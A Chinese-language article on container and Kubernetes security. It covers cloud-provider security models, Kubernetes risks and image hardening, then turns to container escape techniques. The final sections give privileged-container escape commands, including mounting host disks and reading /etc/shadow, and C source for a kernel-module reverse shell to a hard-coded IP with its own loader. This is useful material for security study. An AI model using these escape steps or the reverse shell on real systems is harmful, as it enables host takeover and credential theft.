云原生的火热带来了企业基础设施和应用架构等技术层面的革新,在云原生的大势所趋下,越来越多的企业选择拥抱云原生,在 CNCF 2020 年度的调研报告中,已经有83% 的组织在生产环境中选择 Kubernetes,容器已经成为应用交付的标准,也是云原生时代计算资源和配套设施的交付单元。显然,容器已经成为应用交付的标准,也是云原生时代计算资源和配套设施的交付单元。
然而,由于在隔离和安全性方面存在的天然缺陷,安全一直是企业进行容器改造化进程中关注的核心问题之一。来到云原生时代,企业又将面临哪些容器安全新挑战?
为了应对上述企业应用在容器化进程中的安全挑战,云服务商和企业应用安全管理运维人员需要携手共建容器应用安全体系,下图是阿里云ACK容器服务安全责任共担模型。
对于云服务商,首先需要依托于云平台自身的安全能力,构建安全稳定的容器基础设施平台,并且面向容器应用从构建,部署到运行时刻的全生命周期构建对应的安全防护手段。整个安全体系的构建需要遵循如下基本原则:
容器平台基础设施层承载了企业应用的管控服务,是保障业务应用正常运行的关键,容器平台的安全性是云服务商应该格外关注的。
云服务商不仅要在自身管控侧建立完善的安全武装,同时也需要面向业务应用负载,提供适合云原生场景下容器应用的安全防护手段,帮助终端用户在应用生命周期各阶段都能有对应的安全治理方案。
由于云原生具有动态弹性的基础设施,分布式的应用架构和创新的应用交付运维方式等特点,这就要求云服务商能够结合自身平台的基础安全能力,将云原生能力特性赋能于传统的安全模型中,构建面向云原生的新安全体系架构。
对于企业的安全管理和运维人员来说,首先需要理解云上安全的责任共担模型边界,究竟企业自身需要承担起哪些安全责任。
云原生微服务架构下企业应用在 IDC 和云上进行部署和交互,传统的网络安全边界已经不复存在,企业应用侧的网络安全架构需要遵循零信任安全模型,基于认证和授权重构访问控制的信任基础。对于企业安全管理人员来说可以参考关注如下方向加固企业应用生命周期中的生产安全:
参考链接:
云原生(Cloud Native)是一套技术体系和方法论,它由2个词组成,云(Cloud)和原生(Native)。
云原生的代表技术包括:
更多对于云原生的介绍请参考CNCF/Foundation。
在整个云原生安全中,容器既是云原生变革的最核心创新之一,也是安全风险最集中体现的地方。因此,关注云原生安全,容器安全是需要重点分析的方面。
从技术栈角度,”云原生安全“可以抽象为以下架构图:
自底向上看,
它们之间相辅相成,以这些技术为基础构建云原生安全。
以阿里云云原生安全体系为例,阿里云 ACK 容器服务面向广大的企业级客户,构建了完整的容器安全体系,提供了端到端的应用安全能力。
首先整个容器安全体系依托于阿里云平台安全能力,包括物理/硬件/虚拟化以及云产品安全能力,构建了平台安全底座。
在云平台安全层之上是容器基础设施安全层,容器基础设施承载了企业容器应用的管控能力,其默认安全性是应用能够稳定运行的重要基础。
在容器管控侧,阿里云容器服务基于 CIS Kubernetes 等业界安全标准基线对容器管控面组件配置进行默认的安全加固,同时遵循权限最小化原则收敛管控面系统组件和集群节点的默认权限,最小化攻击面。
统一的身份标识体系和访问控制策略模型是在零信任安全模型下构建安全架构的核心,ACK 管控侧和阿里云 RAM 账号系统打通,提供了基于统一身份模型和集群证书访问凭证的自动化运维体系,同时面对用户凭证泄露的风险,提出了用户凭证吊销的方案,帮助企业安全管理人员及时吊销可能泄露的集群访问凭证,避免越权访问攻击事件。
针对密钥管理、访问控制、日志审计这些企业应用交互访问链路上关键的安全要素,ACK 容器服务也提供了对应的平台侧安全能力:
参考链接:
https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/video-tutorials/work-with-the-ack-console
Kubernetes是Google在2014年6月开源的一个容器集群管理系统,使用Go语言开发,Kubernetes也叫K8S,2015年7月,Kubernetes v1.0正式发布。
K8S是Google内部一个叫Borg的容器集群管理系统衍生出来的,Borg已经在Google大规模生产运行十年之久。
K8S主要用于自动化部署、扩展和管理容器应用,提供了资源调度、部署管理、服务发现、扩容缩容、监控等一整套功能。Kubernetes目标是让部署容器化应用简单高效。
总体来说,Kubernetes安全性包括三个主要部分:
为了帮助企业组织更安全的应用Kubernetes系统,OWASP基金会日前列举出Kubernetes的十大安全风险,并提供了缓解这些风险的建议。
Kubernetes manifest包含大量的配置,这些配置会影响相关工作负载的可靠性、安全性和可扩展性。这些配置应该不断地进行审计和纠正,以防止错误配置。特别是对一些高影响的manifest配置,因为它们更有可能被错误配置。虽然许多安全配置通常是在manifest本身的securityContext中设置的,但这些配置信息需要在其他地方也可以被检测到,包括在运行时和代码中都能够检测到它们,这样才能防止错误配置。
安全团队还可以使用Open Policy Agent之类的工具作为策略引擎来检测各种常见的Kubernetes错误配置。
此外,使用Kubernetes的CIS基准也是发现错误配置的一个有效方法。不过,持续监控和纠正任何潜在的错误配置,以确保Kubernetes工作负载的安全性和可靠性同样是至关重要的。
在供应链开发生命周期的各个阶段,容器会以多种形式存在,且每种形式都有其独特的安全挑战。这是因为单个容器可能依赖于数百个外部第三方组件,将会降低每个阶段的信任级别。
在实际应用中,最常见的供应链安全漏洞如下:
如果配置正确,RBAC(基于角色的访问控制)有助于防止未经授权的访问和保护敏感数据。但如果RBAC未经正确配置,就可能会导致过度授权的情况,允许用户访问他们不应访问的资源或执行违规的操作。这可能会造成严重的安全风险,包括数据泄露、丢失和受损。
为了防止这种风险,持续分析RBAC配置并实施最小特权原则(PoLP)是至关重要的。这可以通过以下手段:
此外,强烈推荐部署集中式策略来检测和阻止危险的RBAC权限,使用RoleBindings将权限范围限制到特定的名称空间,并遵循官方规定的RBAC最佳实践。
安全策略执行主要指安全规则和条例的实施,以确保符合组织策略。
在Kubernetes应用中,策略执行指的是确保Kubernetes集群遵守组织设置的安全策略。这些策略可能与访问控制、资源分配、网络安全或Kubernetes集群的任何其他方面有关。
策略执行对于确保Kubernetes集群的安全性和遵从性至关重要。如果安全策略未被执行可能导致安全漏洞、数据丢失和其他潜在风险。此外,安全策略执行有助于维护Kubernetes集群的完整性和稳定性,确保资源得到有效和高效的分配。
确保在Kubernetes中有效执行安全策略是至关重要的,其中包括:
日志记录是任何运行应用程序的系统的基本组件。Kubernetes的日志记录也不例外。这些日志可以帮助识别系统问题,并为系统性能优化、安全漏洞修复和数据丢失取证提供有价值的分析。
各种来源(包括应用程序代码、Kubernetes组件和系统级进程)都可以生成Kubernetes日志。为了安全的应用Kubernetes系统,企业组织需要对其运行态势进行充分的日志记录:
受损的身份验证是一个严重的安全威胁,将允许攻击者绕过身份验证并获得对应用程序或系统的未经授权的访问。在Kubernetes中,由于以下几个因素,可能会引发受损的身份验证:
在Kubernetes中,可以实施一些积极的安全措施来防止身份验证被破坏,包括:
当Kubernetes网络中没有附加控制时,任何工作负载都可以与另一个工作负载通信。攻击者可以利用这种默认行为,利用正在运行的工作负载探测内部网络、移动到其他容器,甚至调用私有API。
网络分段是将一个网络划分为多个更小的子网络,每个子网络相互隔离。网络分段使得攻击者难以在网络中横向移动并获得对敏感资源的访问。
组织可以使用多种技术在Kubernetes集群中实现网络分段,以阻止横向移动,并仍然允许有效的流量正常路由。
Kubernetes集群由etcd、kubelet、kube-apiserver等不同组件组成,所有组件都是高度可配置的,这意味着当Kubernetes的核心组件出现配置错误时,就可能会发生集群泄露。在Kubernetes控制计划中,需要对各个组件进行配置错误检查,包括:
由于Kubernetes集群运行大量第三方软件,安全团队将需要构建多层策略来防护易受攻击的组件。一些最佳实践如下:
“secret”是Kubernetes中的一个对象,它包含密码、证书和API密钥等敏感数据。Secret存储机密数据,集群中的其他用户和进程应该无法访问这些数据。Kubernetes Secret密存储在etcd中,这是Kubernetes用来存储所有集群数据的分布式键值存储。虽然Secret在Kubernetes生态系统中是一个非常有用的功能,但需要谨慎处理。管理Kubernetes Secret可以分为以下步骤:
综合来说,上面总结的Kubernetes安全风险分别对应着容器生命周期的各个阶段。我们应该:
保护容器和 Kubernetes 的安全要从构建阶段开始,此时花费的时间将在将来获得回报,如果开始就没做好安全实践,后面将付出极大的修复成本。
在部署工作负载之前,应该配置好 Kubernetes 基础设施。
从安全角度来看,我们首先要了解正在部署的内容以及部署的方式,然后识别并应对违反安全策略的情况,至少应该知道以下几个方面:
有了这些信息,我们就可以开始针对需要修复和加固的区域,并进行适当的分段。
在构建和部署阶段主动保护容器和 Kubernetes 部署可以大大减少运行时发生安全事件的可能性以及响应这些事件而进行的后续工作,但是运行阶段的容器化应用程序又会面临许多新的安全挑战。我们既要获得运行环境的可见性,又要在威胁出现时对其进行安全检测和快速响应。
首先,我们必须监视与安全性最相关的容器活动,包括:
由于容器和 Kubernetes 具有声明性,因此在容器中观察容器行为来检测异常通常比在虚拟机中更容易。
除了构建、部署和运行工作负载时的安全实践,安全性还需要扩展到镜像和工作负载之外,直到整个环境,包括集群基础结构。
总体来说,我们同时要保证集群、节点和容器引擎的安全。
Kubernetes 还有很多组件,包括 kube-scheduler、kube-controller-manager、主节点和工作节点上的配置文件等,都可以帮助安全配置。
参考链接:
https://developer.aliyun.com/article/409780 https://www.secrss.com/articles/53653 https://www.yunweiol.cn/docker/kubernets/2021-08-29/500.html
目前业界已经达成共识:云原生时代已经到来。
由于容器是由容器镜像生成的,如何保证容器的安全,在很大程度上取决于如何保证容器镜像的安全。如果说容器是云原生时代的核心,那么镜像应该就是云原生时代的灵魂。镜像的安全对于应用程序安全、系统安全乃至供应链安全都有着深刻的影响。
然而,镜像的安全却是非常令人担忧的。根据 snyk 发布的 2020 年开源安全报告中指出,在 dockerhub 上常用的热门镜像几乎都存在安全漏洞,多的有上百个,少的也有数十个。
然而,不幸的是,很多应用程序的镜像是以上述热门镜像作为基础镜像,更不幸的是,由谁来负责安全问题,却始终争论不断。
其实,可以通过预防为主,防治结合的方式来提高镜像的安全性。
所谓防,就是要在编写 Dockerfle 的时候,遵循最佳实践来编写安全的 Dockerfile;还要采用安全的方式来构建容器镜像。
在聊镜像安全之前,我们先来了解一下镜像到底是什么?以及它其中的内容是什么?
我们以 debian镜像为例,pull 最新的镜像,并将其保存为 tar 文件,之后进行解压:
mkdir -p debian-image docker pull debian docker image save -o debian-image/debian.tar debian ll debian-image tar -C debian-image -xf debian-image/debian.tar tree -I debian.tar debian-image
解压完成后,我们看到它是一堆 json 文件和 layer.tar文件的组合,
{ "architecture": "amd64", "config": { "Hostname": "", "Domainname": "", "User": "", "AttachStdin": false, "AttachStdout": false, "AttachStderr": false, "Tty": false, "OpenStdin": false, "StdinOnce": false, "Env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"], "Cmd": ["bash"], "Image": "sha256:87ff4334e35b6932b1a556af38cd2757a67abc373083a8682120fd4833c1708a", "Volumes": null, "WorkingDir": "", "Entrypoint": null, "OnBuild": null, "Labels": null }, "container": "9bee36f574a340be138e87098e1f2c17a27ca4a4bd5a437581cd6bc2c3542b1c", "container_config": { "Hostname": "9bee36f574a3", "Domainname": "", "User": "", "AttachStdin": false, "AttachStdout": false, "AttachStderr": false, "Tty": false, "OpenStdin": false, "StdinOnce": false, "Env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"], "Cmd": ["/bin/sh", "-c", "#(nop) ", "CMD [\"bash\"]"], "Image": "sha256:87ff4334e35b6932b1a556af38cd2757a67abc373083a8682120fd4833c1708a", "Volumes": null, "WorkingDir": "", "Entrypoint": null, "OnBuild": null, "Labels": {} }, "created": "2023-12-19T01:20:16.083612549Z", "docker_version": "20.10.23", "history": [{ "created": "2023-12-19T01:20:15.53569297Z", "created_by": "/bin/sh -c #(nop) ADD file:7d8adf68670e8dc2af6b8603870ea610fc65ecbb08799f2ca6a3134f5d47d289 in / " }, { "created": "2023-12-19T01:20:16.083612549Z", "created_by": "/bin/sh -c #(nop) CMD [\"bash\"]", "empty_layer": true }], "os": "linux", "rootfs": { "type": "layers", "diff_ids": ["sha256:ae134c61b154341a1dd932bd88cb44e805837508284e5d60ead8e94519eb339f"] } }
我们再次对其中的 layer.tar进行解压:
tar -C debian-image/47266229439ebc2d202700a190beb41ce869d7a014e7b79adfac82a138c60c53 -xf debian-image/47266229439ebc2d202700a190beb41ce869d7a014e7b79adfac82a138c60c53/layer.tar tree -I 'layer.tar|json|VERSION' -L 1 debian-image/47266229439ebc2d202700a190beb41ce869d7a014e7b79adfac82a138c60c53 debian-image/47266229439ebc2d202700a190beb41ce869d7a014e7b79adfac82a138c60c53
从解压后的目录结构可以看到,这是 rootfs的目录结构。如果我们使用的是自己构建的一些应用镜像的话,经过几次解压,你也会在其中找到应用程序相对应的文件。
现在我们了解了容器镜像就是 rootfs
和应用程序,以及一些配置文件的组合。所以要保证它自身内容的安全性,主要从以下几个方面来考虑。
Dockerfile 的第一句通常都是 FROM some_image,也就是基于某一个基础镜像来构建自己所需的业务镜像,基础镜像通常是应用程序运行所需的语言环境,比如 Go、Java、PHP 等,对于某一种语言环境,一般是有多个版本的。以 Golang 为例,即有 golang:1.12.9,也有 golang:1.12.9-alpine3.9,不同版本除了有镜像体积大小的区别,也会有安全漏洞数量之别。
上述两种镜像的体积大小以及所包含的漏洞数量(用 trivy 扫描)对比如下:
可以看到 golang:1.12.9-alpine3.9 比 golang:1.12.9 有更小的镜像体积(351MB vs 814MB),更少的漏洞数量(24 vs 1306)。
所以,在选取基础镜像的时候,要做出正确选择,不仅能够缩小容器镜像体积,节省镜像仓库的存储成本,还能够减少漏洞数量,缩小受攻击面,提高安全性。
在 Linux 系统中,root 用户意味着超级权限,能够很方便的管理很多事情,但是同时带来的潜在威胁也是巨大的,用 root 身份执行的破坏行动,其后果是灾难性的。在容器中也是一样,需要以非 root 的身份运行容器,通过限制用户的操作权限来保证容器以及运行在其内的应用程序的安全性。
在 Dockerfile 中可以通过添加如下的命令来以非 root 的身份启动并运行容器:
RUN addgroup -S jh && adduser -S devsecops -G jh
USER devsecops
上述命令创建了一个名为 jh 的 Group,一个名为 devsecops 的用户,并将用户 devsecops 添加到了 jh Group 下,最后以 devsecops 启动容器。
很多用户在是编写 Dockerfile 的时候,习惯了直接写 apt-get update && apt-get install xxxx,网上也有很多这样的例子(包括 GitHub)。用户需要清楚 xxx 这个包是否真的要用,否则这种情况会造成镜像体积的变大以及受攻击面的增加。
以 ubuntu:20.04 为例来演示安装 vim curl telnet 这三个常用软件包,给镜像体积以及漏洞数量带来的影响:
可以看出,因为安装了 vim curl telnet 这三个常见的软件包,导致镜像体积增加了一倍(从 72.4MB 到 158MB),漏洞数量翻了接近一番(从 60 到 119)。
因此,在编写 Dockerfile 的时候,一定要搞清楚哪些包是必须安装的,而哪些包是非必需安装的。
多阶段构建不仅能够对于容器镜像进行灵活的修改,还能够在很大程度上减小容器镜像体积,减少漏洞数量。
由于镜像构建的灵活性和便捷性,任何一个人都可以构建容器镜像并推送至 Dockerhub 供其他人使用。所以在搜索某一个镜像的时候,会出现很多类似的结果,这时候就需要仔细辨别:镜像是否有官方提供的,镜像是否一直有更新,镜像是否可以找到对应的 Dockerfile 来查看到底是如何构建的。信息不全且长时间无更新的镜像,其安全性无法得到保证,不应该使用此类镜像,这时候可以选择自己使用这些规则来构建可用的安全景象。
常规构建容器镜像的方式就是 docker build,这种情况需要客户端要能和 docker 守护进程进行通信。对于云原生时代,容器镜像的构建是在 Kubernetes 集群内完成的,因此容器的构建也常用 dind(docker in docker)的方式来进行,镜像的构建通常用如下代码:
build: image: docker:latest stage: build services: - docker:20.10.7-dind script: - docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY - docker build -t $CI_REGISTRY_IMAGE:1.0.0 . - docker push $CI_REGISTRY_IMAGE:1.0.0
众所周知,dind 需要以 privilege 模式来运行容器,需要将宿主机的 /var/run/docker.sock 文件挂载到容器内部才可以,否则会在 CI/CD Pipeline 构建时收到如下错误:
因此在使用自建 Runner 的时候,往往都需要挂在 /var/run/docker.sock,诸如在使用 K8s 来运行自建 Runner 的时候,就需要在 Runner 的配置文件中添加以下内容:
[[runners.kubernetes.volumes.host_path]] name = "docker" mount_path = "/var/run/docker.sock" host_path = "/var/run/docker.sock"
为了解决这个问题,可以使用一种更安全的方式来构建容器镜像,也就是使用 kaniko。Kaniko是谷歌发布的一款根据 Dockerfile 来构建容器镜像的工具。Kaniko 无须依赖 docker 守护进程即可完成镜像的构建。
在遵从最佳实践编写 Dockerfile、用 Kaniko 构建容器之后,还需要对容器镜像做安全扫描,进一步确保容器镜像安全。
我们首先来看看,容器镜像是怎么样从构建到部署到我们的 Kubernetes 环境中的。
开发者在编写完代码后,推送代码到代码仓库。由此来触发 CI 进行构建,在此过程中会进行镜像的构建,以及将镜像推送至镜像仓库中。
在 CD 的环节中,则会使用镜像仓库中的镜像,部署至目标 Kubernetes 集群中。
那么在此过程中,攻击者如何进行攻击呢?
在镜像分发部署的环节中其上游是镜像仓库,下游是 Kubernetes 集群。
对于镜像仓库而言,即使是内网的自建环境,但攻击者可以通过一些手段进行劫持、替换成恶意的镜像,包括直接攻击镜像仓库等。基于零信任安全的考虑,要保证部署到 Kubernetes 集群中镜像的安全性来源以及完整性,主要需要在两个主要的环节上进行:
我们来分别看一下。
我们通常在使用容器镜像时有两种选择:
大多数场景下,我们会直接使用标签,因为它的可读性更好。但是镜像内容可能会随着时间的推移而变化,因为我们可能会为不同内容的镜像使用相同的标签,最常见的就是 :latest标签,每次新版本发布的时候,新版本的镜像都会继续沿用 :latest标签,但其中的应用程序版本已经升级到了最新。
使用摘要的主要弊端是它的可读性不好,但是,每个镜像的摘要都是唯一的,摘要是镜像内容的 SHA256 的哈希值。所以我们可以通过摘要来保证镜像的唯一性。
通过以下示例可以直接看到标签和摘要信息:
docker pull alpine:3.14.3 docker image inspect alpine:3.14.3 | jq -r '.[] | {RepoTags: .RepoTags, RepoDigests: .RepoDigests}'
那么如何来保证镜像的正确性/安全性呢?这就是镜像签名解决的主要问题了。
数字签名是一种众所周知的方法,用于维护在网络上传输的任何数据的完整性。对于容器镜像签名,我们有几种比较通用的方案。
我们这里重点讨论一下Docker Content Trust (DCT)。
Docker Content Trust 使用数字签名,并且允许客户端或运行时验证特定镜像标签的完整性和发布者。对于使用而言也就是 docker trust 命令所提供的相关功能。注意:这需要 Docker CE 17.12 及以上版本。
前面我们提到了,镜像记录可以有一些标签,格式如下:
[REGISTRY_HOST[:REGISTRY_PORT]/]REPOSITORY[:TAG]
以标签为例,DCT 会与标签的一部分相关联。每个镜像仓库都有一组密钥,镜像发布者使用这些密钥对镜像标签进行签名。(镜像发布者可以自行决定要签署哪些标签)镜像仓库可以同时包含多个带有已签名标签和未签名标签的镜像。
在生产中,我们可以启用 DCT 确保使用的镜像都已签名。如果启用了 DCT,那么只能对受信任的镜像(已签名并可验证的镜像)进行拉取、运行或构建。
启用 DCT 有点像对镜像仓库应用“过滤器”,即,只能看到已签名的镜像标签,看不到未签名的镜像标签。如果客户端没有启用 DCT ,那么它可以看到所有的镜像。
这里我们来快速的看一下 DCT 的工作过程,
默认情况下,Docker 客户端中禁用 DCT 。要启用需要设置 DOCKER_CONTENT_TRUST=1 环境变量 。
DOCKER_CONTENT_TRUST=1 docker pull alpine:3.12
所谓治,既要使用容器镜像扫描,又要将扫描流程嵌入到 CI/CD 中,如果镜像扫描出漏洞,则应该立即终止 CI/CD Pipeline,并反馈至相关人员,进行修复后重新触发 CI/CD Pipeline。
参考链接:
https://www.163.com/dy/article/FE1TJL4R0528F7OI.html https://www.gcomtw.com/mailshot/Synopsys/2303BlackDuck/repossra2023ch.pdf https://gitlab.cn/blog/2022/03/29/container-image-security/ https://mp.weixin.qq.com/s/pnP0bjFdXlay42OGghUWNw https://www.cnblogs.com/edisonchou/p/container_security_best_practices_introduction.html https://moelove.info/2021/11/23/%E4%BA%91%E5%8E%9F%E7%94%9F%E6%97%B6%E4%BB%A3%E4%B8%8B%E7%9A%84%E5%AE%B9%E5%99%A8%E9%95%9C%E5%83%8F%E5%AE%89%E5%85%A8%E4%B8%8A/
容器提供了将应用程序的代码、配置、依赖项打包到单个对象的标准方法。容器建立在两项关键技术之上:
本质上,docker就是一个linux下的进程,它通过NameSpace 等命令实现了内核级别环境隔离(文件、网络、资源),所以相比虚拟机而言,Docker 的隔离性要弱上不少 ,这就导致可以通过很多方法来进行docker逃逸。
容器的攻击面(Container Attack Surface)如下:
容器一共有7个攻击面:
容器安全中,风险最大的问题是容器逃逸,我们接下来重点关注3个攻击面:
容器的内核与宿主内核共享,使用Namespace与Cgroups这两项技术,使容器内的资源与宿主机隔离,所以Linux内核产生的漏洞能导致容器逃逸。
通用Linux内核提权方法论如下:
容器逃逸和内核提权只有细微的差别,需要突破namespace的限制。将高权限的namespace赋到exploit进程的task_struct中。
这里以Dirty CoW漏洞来说明Linux内核漏洞导致的容器逃逸。
在Linux内核的内存子系统处理私有只读内存映射的写时复制(Copy-on-Write,CoW)机制的方式中发现了一个竞争冲突。一个没有特权的本地用户,可能会利用此漏洞获得对其他情况下只读内存映射的写访问权限,从而增加他们在系统上的特权,这就是知名的Dirty CoW提权漏洞。
Dirty CoW漏洞的容器逃逸实现思路和上述的提权思路不太一样,采取Overwrite vDSO技术。
vDSO(Virtual Dynamic Shared Object)是内核为了减少内核与用户空间频繁切换,提高系统调用效率而设计的机制。它同时映射在内核空间以及每一个进程的虚拟内存中,包括那些以root权限运行的进程。通过调用那些不需要上下文切换(context switching)的系统调用可以加快这一步骤(定位vDSO)。vDSO在用户空间(userspace)映射为R/X,而在内核空间(kernelspace)则为R/W。这允许我们在内核空间修改它,接着在用户空间执行。又因为容器与宿主机内核共享,所以可以直接使用这项技术逃逸容器。
利用步骤如下:
docker和宿主机共享内核,因此就可利用该漏洞进行逃逸。
执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。
参考链接:
https://blog.wohin.me/posts/dirtycow-for-escape/ https://www.cnblogs.com/LittleHann/p/5987532.html https://xz.aliyun.com/t/12495
执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。
参考链接:
https://unit42.paloaltonetworks.com/cve-2020-14386/
执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。
我们先简单的看一下Docker的架构图:
Docker本身由
组成。但从Docker 1.11开始,Docker不再是简单的通过Docker Dameon来启动,而是集成许多组件,包括containerd、runc等等。
Docker Client是Docker的客户端程序,用于将用户请求发送给Dockerd。
Dockerd实际调用的是containerd的API接口,containerd是Dockerd和runc之间的一个中间交流组件,主要负责容器运行、镜像管理等。
容器自身的安全风险,主要就是来自这些组件相互间的通信方式、依赖关系等。下面我们以Docker中的runc组件所产生的漏洞来说明因容器自身的漏洞而导致的逃逸。
在容器世界里,真正负责创建、修改和销毁容器的组件实际上是容器运行时。下图较好地展示了当下容器运行时在整个容器世界中所处位置:
我们在执行功能类似于docker exec
的命令(其他的如docker run
等)时,底层实际上是容器运行时在操作。例如runc,相应地,runc exec
命令会被执行。它的最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。
执行过程大体是这样的:
runc启动 ==> 加入到容器的命名空间 ==> 接着以自身(/proc/self/exe
)为范本启动一个子进程 ==> 最后通过exec
系统调用执行用户指定的二进制程序
这个过程看起来似乎没有问题,现在,我们需要让另一个角色出场,proc伪文件系统,即/proc
。这里我们主要关注/proc
下的两类文件:
/proc/[PID]/exe
:它是一种特殊的符号链接,又被称为magic links
,指向进程自身对应的本地程序文件(例如我们执行ls
,/proc/[ls-PID]/exe
就指向/bin/ls
)/proc/[PID]/fd/
:这个目录下包含了进程打开的所有文件描述符/proc/[PID]/exe
的特殊之处在于,如果你去打开这个文件,在权限检查通过的情况下,内核将直接返回给你一个指向该文件的描述符(file descriptor),而非按照传统的打开方式去做路径解析和文件查找。这样一来,它实际上绕过了mnt
命名空间及chroot
对一个进程能够访问到的文件路径的限制。
那么,设想这样一种情况:在runc exec
加入到容器的命名空间之后,容器内进程已经能够通过内部/proc
观察到它,此时如果打开/proc/[runc-PID]/exe
并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖掉!这样一来,下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。
在未升级修复漏洞的容器环境上,上述思路是可行的,但是攻击者想要在容器内实现宿主机上的代码执行(逃逸),还需要面对两个限制:
事实上,限制1经常不存在,很多容器服务开放给用户的仍然是root权限,而限制2是可以克服的。
从攻击面视角来说,有两种攻击利用方式:
上述两种攻击方式的,从runc劫持替换之后的步骤是一样的,这里归纳一下整个劫持替换及逃逸过程:
借助这个漏洞,容器内进程具备在容器外执行代码的能力。
参考链接:
https://blog.wohin.me/posts/cve-2019-5736/
在实际中,我们经常会遇到这种状况:不同的业务会根据自身业务需求提供一套自己的配置,而这套配置并未得到有效的管控审计,使得内部环境变得复杂多样,无形之中又增加了很多风险点。最常见的包括:
这部分业界已经给出了最佳实践,从宿主机配置、Dockerd配置、容器镜像、Dockerfile、容器运行时等方面保障了安全,更多细节请参考Benchmark/Docker。同时Docker官方已经将其实现成自动化工具(gVisor)。
特权模式在6.0版本的时候被引入Docker,其核心作用是允许容器内的root拥有外部物理机的root权限,而此前在容器内的root用户只有外部物理机普通用户的权限。
使用特权模式启动容器后(docker run --privileged),Docker容器被允许可以访问主机上的所有设备、可以获取大量设备文件的访问权限、并可以执行mount命令进行挂载。
当控制使用特权模式的容器时,Docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
下面给出一个简单的错误配置特权容器的案例演示,
使用特权模式启动容器,
docker run -it --privileged 174c8c134b2a /bin/bash
执行以下命令查看当前容器是否是特权容器,
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
在特权容器内部,查看磁盘文件:
从返回结果来看vda1、vda2、vda3在/dev目录下。
新建一个目录/test,然后将/dev/vda3挂载到新建的目录下
mkdir /test
mount /dev/vda3 /test
这时再查看新建的目录/test,就可以访问宿主机上的目录内容了(/root目录下的内容)。
拥有宿主机的文件操作权限后,攻击者可以通过写ssh密钥、计划任务等方式达到逃逸。
除了利用mount挂载逃逸之外,还可以通过重写devices.allow实现容器逃逸,
创建特权容器:
docker run -it --privileged 174c8c134b2a /bin/bash
进入容器,寻找容器内的devices.allow文件:
find . -name "devices.allow"
在该目录下执行 echo a > devices.allow,设置容器允许访问所有类型设备。
查看/etc目录的node号和文件系统类型,
cat /proc/self/mountinfo | grep /etc | awk ‘{print $3,$8}’ | head -1
在根目录下执行 mknod host b 253 0。
由于是xfs文件系统,先挂载设备:
mkdir /tmp/host_dir && mount host /tmp/host_dir
然后查看秘钥文件:
cat /tmp/host_dir/etc/shadow
若是ext2/ext3/ext4文件系统,通过debugfs -w host进行调试即可读写文件。
参考链接:
https://blog.csdn.net/m0_46337791/article/details/129129776 https://www.cnblogs.com/hongdada/p/11512901.html https://www.freebuf.com/articles/container/245153.html https://blog.csdn.net/sinat_32023305/article/details/97648871
在suid提权中SUID设置的程序出现漏洞就非常容易被利用,所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制,从而增加系统的安全性。Linux内核自版本2.2引入了功能机制(Capabilities),打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。
当容器为特权模式时,将添加如下功能:使用指南 - 特权容器
通过以下指令获取容器中获取的 Cap 集合,
cat /proc/1/status | grep Cap
CapEff 主要是检查线程的执行权限,所以重点看下利用 capsh --decode=000001ffffffffff 进行解码。
cap_sys_module权限允许加载内核模块,如果在容器里加载一个恶意的内核模块,将直接导致逃逸。
首先写一个反弹shell的内核模块reverse-shell.c,代码如下:
#include <linux/kmod.h> #include <linux/module.h> char* argv[] = {“/bin/bash”,”-c”,”bash -i >& /dev/tcp/10.66.255.100/7777 0>&1″, NULL}; static char* envp[] = {“PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin”, NULL }; // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO “Exiting\n”); } module_init(reverse_shell_init); module_exit(reverse_shell_exit);
然后在同级目录下编写一个Makefile文件:
obj-m +=reverse-shell.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
最后在同级目录下执行make进行编译,最终生成reverse-shell.ko文件。
由于容器环境中可能没有insmod命令,因此我们可以自己打包一个,代码如下:
#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) #define finit_module(fd, param_values, flags) syscall(__NR_finit_module, fd, param_values, flags) int main(int argc, char **argv) { const char *params; int fd, use_finit; size_t image_size; struct stat st; void *image; /* CLI handling. */ if (argc < 2) { puts("Usage ./insmod.o mymodule.ko [args="" [use_finit=0]""); return EXIT_FAILURE; } if (argc < 3) { params = “”; } else { params = argv[2]; } if (argc < 4) { use_finit = 0; } else { use_finit = (argv[3][0] != ‘0’); } /* Action. */ fd = open(argv[1], O_RDONLY); if (use_finit) { puts(“finit”); if (finit_module(fd, params, 0) != 0) { perror(“finit_module”); return EXIT_FAILURE; } close(fd); } else { puts(“init”); fstat(fd, &st); image_size = st.st_size; image = malloc(image_size); read(fd, image, image_size); close(fd); if (init_module(image, image_size, params) != 0) { perror(“init_module”); return EXIT_FAILURE; } free(image); } return EXIT_SUCCESS; }
编译之后产生可执行文件insmond.o
运行insmod.o加载内核模块reverse-shell.ko,执行反弹shell。
